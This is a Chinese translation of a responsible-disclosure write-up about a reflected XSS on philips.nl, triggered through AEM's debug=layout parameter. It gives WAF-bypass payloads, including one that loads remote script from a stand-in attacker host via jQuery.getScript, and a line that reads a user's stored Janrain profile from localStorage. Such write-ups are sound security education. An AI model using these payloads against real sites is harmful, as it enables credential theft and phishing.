翻译自:https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c
翻译:聂心明
你想参加私有众测?我很乐意邀请你,请联系我Jonathan@Protozoan.nl
背景
从上一篇文章我们学到,xss攻击 的危害性很高;你能够用xss偷取cookie,攻击访问者的浏览器,或者用它钓鱼
今天我们将会学到Adobe Experience Manager (AEM) 的反射型xss,并且我们用能绕过waf的攻击向量来做一个钓鱼页面。
Philips
一如既往,我们需要一个合适的攻击目标。Philips怎么样?今年他们获得了“荷兰最受尊敬的公司”。消费者信任他们的品牌,这就让他们成为钓鱼攻击者的高价值目标。
并且,它们有负责任的披露平台,所以我能很安全的帮助到他们。是时候公布我们的荣耀殿堂了。
侦查,寻找合适的攻击向量
我们去那里寻找xss呢?其实没有一个严格的规则。在测试开始前,我会用Aquatone去探测子域名,看看这个报告的详情。之后,我会打开Burp Suite,看看这篇报告,然后我开始寻找漏洞。
当我开始访问网站的时候,Burp Suite会捕捉所有的请求报文和返回报文。Burp Suite有一个很棒的功能就是创建网站地图。我们能快速看到网站的结构,这也会让我们更容易的重放一些请求数据包,然后去检测那个页面上是否有xss漏洞。
xss的原则是我们可以篡改输入变量(比如网站的url或者输入框)目的是注入我们自己的html变量到目标网站中去。因为我们能够注入一些能够改变网站结构的JavaScript代码,这样就可以伪造一个登陆页面。
url是一个很重要的攻击向量。如果url直接反射到了返回页面之中,且没有经过过滤,那么就会有潜在的xss漏洞。
另一个重要的事情是,能不能添加一些html数据到网站数据库中,这就是存储型xss
长话短说,经过几个小时的尝试,我没有找到反射或者存储型xss。我开始观察burp捕捉到的url参数,它们都被过滤了。很好啊,Philips!
下面给你们看一个例子,我们操作输入数据试图在页面中注入<h1>Hi mom</h1>
。它被过滤成<h1>Hi+mom</h1>
。所以浏览器就不会把它们试图渲染成html,而是把它们当成普通文本。
我们现在要做什么?去寻找这个网站是用了什么框架
通过WhatCMS.org来查看Philips是用什么框架写的。它们创造了一种算法,能识别320种cms系统,真棒!
发现网站框架名的另一种方式是查看网站主页源代码的顶部:
现在我们知道它们用的web框架是Adobe Experience Manager (AEM),我应该尽可能多的去接触一下这个cms。这也给了我们更多寻找漏洞的灵感。最佳实践是什么?过去有没有安全升级?或者其中有没有隐藏的函数?
Adobe Experience Manager
尽可能的去阅读这个软件的文档,有时会经常带给我们一些启发。另外,就是尝试去谷歌一下这个软件,寻找一些关于这个软件的博客或者一些专家分享的一些奇怪特性。
如果你用/?debug=layout
去访问Philips这个网站呢?
在debug模式下,返回页面居然把url直接放入了其中。
好的,让我们试一下JavaScript。
绕过应用防火墙
所以我们有了注入点,就是url路径结合参数debug=layout
。现在我们要寻找一些可以绕过防火墙的且能执行JavaScript的html代码。
识别waf
可以用 WhatWaf来快速识别所使用的waf。它会用一些payload去探测目标,并且用一些规则来匹配输出。
它们用的waf是ModSecurity和AkamaiGHost.
绕过ModSecurity 和 AkamaiGHost
我喜欢用手工的方式去做某些事情。可以尝试用 Burp Suite Intruder爆破一下,但是大量的请求会对服务器造成巨大的压力;你也会被加入到黑名单中。
当我们喝完一杯茶之后我们发现:
- waf会拦截
<script>
标签 - waf允许
<body>
标签 - waf拦截了几乎所有的JavaScript事件(比如:
onerror, onload, onmouseout
),但是允许使用onpointerenter
事件 - waf会拦截在路径出现的
https://
我会查看是否jQuery已经被加载到这个页面之中。jQuery允许我们创建一些体积很小且可以跨浏览器运行的payload(通过使用getScript函数)
现在是时候去构造payload了:
https://www.philips.nl/healthcare/<body onpointerenter="jQuery.getScript('https:/' +'/attackerserver.ltd/philips/inject.js')">?debug=layout
我们注入了一个body标签,当有人把鼠标移动到页面的上的时候,就会触发jQuery的 getScript函数。这个函数会加载我们的JavaScript文件,并且执行里面的内容。我们使用'https:/' +'/attackerserver.ltd'
去绕过waf对于https://
的过滤。
我们把payload进行一次url编码,目的是确保链接有效,且能更容易的发送给受害者手中。
能用的payload
https://www.philips.nl/healthcare/%3Cbody%20onpointerenter=%22jQuery.getScript('https:/'+'/attackerserver.ltd/philips/inject.js')%22%3E?debug=layout
创造一个合适的poc
所有人都知道<script>alert('XSS')</script>
是一个经典的poc,但是我希望我能花一点时间做一个令人印象深刻的poc,一个完整的phishing登录页面。
这可以以更好的方式把这个漏洞的危害性展示给其他人,如果有人看到这个假登录页面就会明白这个漏洞的危害性有多高。
在后期的文章中,我将解释如何在几分钟之内创建好这个钓鱼页面。你可以关注我的推特和Medium 来获取更新的文章
从用户的日志信息中偷走用户的详细信息
Philips用 Janrain来作为消费者用户的登录界面。Janrain会在浏览器的 localstorage 中存储用户的详细信息。所以如果一个人曾经登录过的话,我们就能偷走他的详细信息。
下面这一行JavaScript代码就可以从日志中偷走用户的详细信息。
var user = (localStorage.getItem("janrainCaptureProfileData")) ? localStorage.getItem("janrainCaptureProfileData") : "Not logged in";
poc的运行
绕过html标签的检查
Philips添加了一个新的防火墙规则来阻止所有的html标签。但还是开着debug模式。在丢失一个>
的情况下,我们还是能够注入html标签。
https://www.philips.nl/healthcare/<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"?debug=layout
我们还是能够在服务器中注入payload,当你看到来自<br>
的>
时,它就能闭合掉body标签。当waf阻挡alert()这个字符串时,有一个小技巧可以去绕过它:就是把这个字符串分割成两部分,然后把它们添加到html标签的属性之中。通过使用top[attribute1+attribute2]
,就会把相同标签的属性合并起来。
解决方案
- 这个问题的解决方案非常简单,就是关闭debug模式就好,通过AEM的配置就可以做到这点
- 可以改善waf来阻挡url中的html标签或者事件函数,但使用黑名单从来不是一个很好的解决方案,我们总是可以发现更多新的payload去绕过黑名单的检查。
攻击的影响
- 通过访问我们准备好的链接就可以偷走用户的隐私信息
- 通过在受害者浏览器中注入beefproject.com框架,就可以攻击访问者的浏览器
- 创建一个钓鱼页面